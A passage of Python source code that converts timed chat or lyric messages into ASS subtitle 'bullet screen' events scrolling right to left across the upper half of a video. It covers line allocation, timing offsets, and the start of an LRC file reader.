YaHei UI,%d,&H66FFFFFF,&H66FFFFFF,&H66000000,&H66000000,1,0,0,0,100,100,0,0,1,2,0,2,20,20,2,0\\n\"%fontSize)\n lines.append(\"\\n\")\n return lines\n\ndef generate_events(messages, height, width, last=10.0, offset=0):\n #init the variable\n bullet_screen_tables = [0.0 for i in range(0, 10)]#a table to record the power of this line, the value is smaller, this line is better to insert a bullet screen\n beginWidth = width\n endWidth = 0\n\n perLineHeight = height/20.0/1.5#for each word, the height and width should be about height/20/1.5\n beginHeight = perLineHeight\n\n speed = (beginWidth-endWidth)/last\n\n '''\n ******width****** the bullet screen will only show in the up half screen\n *****************\n ****************h\n ****************e\n ****************i \n ****************g\n ****************h\n ****************t\n *****************\n \n divide the screen into 20 piece, only first 10 piece will have bullet screen\n the bullet screen comes from right to left\n '''\n lines = []\n lines.append(\"[Events]\\n\")\n lines.append(\"Format: Layer, Start, End, Style, Name, MarginL, MarginR, MarginV, Effect, Text\\n\")\n\n lastBulletScreenTime = \"00:00:00.00\"\n for eachMessage in messages:\n time = eachMessage[TUPLE_TIME_INDEX]\n\n if time > lastBulletScreenTime:\n deltaTime = datetime.datetime.strptime(time, \"%H:%M:%S.%f\") - datetime.datetime.strptime(lastBulletScreenTime, \"%H:%M:%S.%f\")\n else:\n deltaTime = datetime.datetime.strptime(lastBulletScreenTime, \"%H:%M:%S.%f\") - datetime.datetime.strptime(\n time, \"%H:%M:%S.%f\")\n if deltaTime.days < 0:\n deltaTime = deltaTime + datetime.timedelta(days=1)\n deltaTime = deltaTime.seconds\n lastBulletScreenTime = time\n\n #needs to get a free line to insert bullet screen\n _min = 0\n\n for i in range(0, len(bullet_screen_tables)):\n bullet_screen_tables[i] = max(0, bullet_screen_tables[i] - deltaTime * speed)\n if bullet_screen_tables[_min] > bullet_screen_tables[i]:\n _min = i\n\n lineHeight = _min * perLineHeight + beginHeight\n\n messageLength = len(eachMessage[TUPLE_MESSAGE_INDEX])\n alignWidth = messageLength/4 * perLineHeight\n\n lineBeginWidth = beginWidth + alignWidth\n lineEndWidth = endWidth - alignWidth\n lineLast = (lineBeginWidth - lineEndWidth) / speed\n beginTime, endTime = getStandardTimes(time, last=lineLast, offset=offset)\n\n bullet_screen_tables[_min] = bullet_screen_tables[_min] + perLineHeight*(messageLength+1)\n lines.append(\"Dialogue: 0,%s,%s,R2L,,20,20,2,,{\\move(%f,%f,%f,%f)}%s\\n\"%(beginTime, endTime, lineBeginWidth, lineHeight, lineEndWidth, lineHeight, eachMessage[TUPLE_MESSAGE_INDEX]))\n\n\n return lines\n\ndef getStandardTimes(beginTime, last = 10, offset=0):\n beginTimeInDate = datetime.datetime.strptime(beginTime, \"%H:%M:%S.%f\")-datetime.timedelta(seconds=offset)\n endTimeInDate = beginTimeInDate+datetime.timedelta(seconds=last)\n return beginTimeInDate.strftime(\"%H:%M:%S.%f\")[:-4], endTimeInDate.strftime(\"%H:%M:%S.%f\")[:-4]\n\ndef read_lrc_files(input_file):\n with open(input_file, 'r') as f:\n lines = f.readlines()\n messages = []\n for line in lines:\n match = re.search(r'(?P